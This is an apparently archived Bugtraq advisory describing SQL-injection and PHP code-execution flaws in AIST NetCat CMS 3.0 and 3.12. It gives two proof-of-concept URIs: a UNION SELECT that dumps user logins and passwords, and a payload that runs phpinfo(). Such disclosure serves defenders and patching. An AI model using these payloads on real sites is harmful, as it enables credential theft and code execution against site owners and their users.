NetCat CMS SQL Injection and PHP Code Execution Vulnerabilities

Bugtraq ID:	49562
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 12 2011 12:00AM
Updated:	Sep 12 2011 12:00AM
Credit:	brain[pillow]
Vulnerable:	AIST NetCat 3.12 AIST NetCat 3.0
Not Vulnerable:

NetCat CMS SQL Injection and PHP Code Execution Vulnerabilities

NetCat CMS is prone to an SQL-injection vulnerability and a code-execution vulnerability because it fails to sufficiently sanitize user-supplied data.

Successfully exploiting these issues may allow an attacker to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary PHP code in the context of the application.

NetCat CMS SQL Injection and PHP Code Execution Vulnerabilities

The following example URIs and input are available:

SQL-injection:

http://www.example.com/search/index.php?action=index&text=q')+union+select+1,1,concat_ws(0x3a,login,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+User%23

PHP code-execution:

http://www.example.com/search/?action=index&text={${phpinfo()}}

NetCat CMS SQL Injection and PHP Code Execution Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

NetCat CMS SQL Injection and PHP Code Execution Vulnerabilities

References:

• NetCat Homepage (AIST)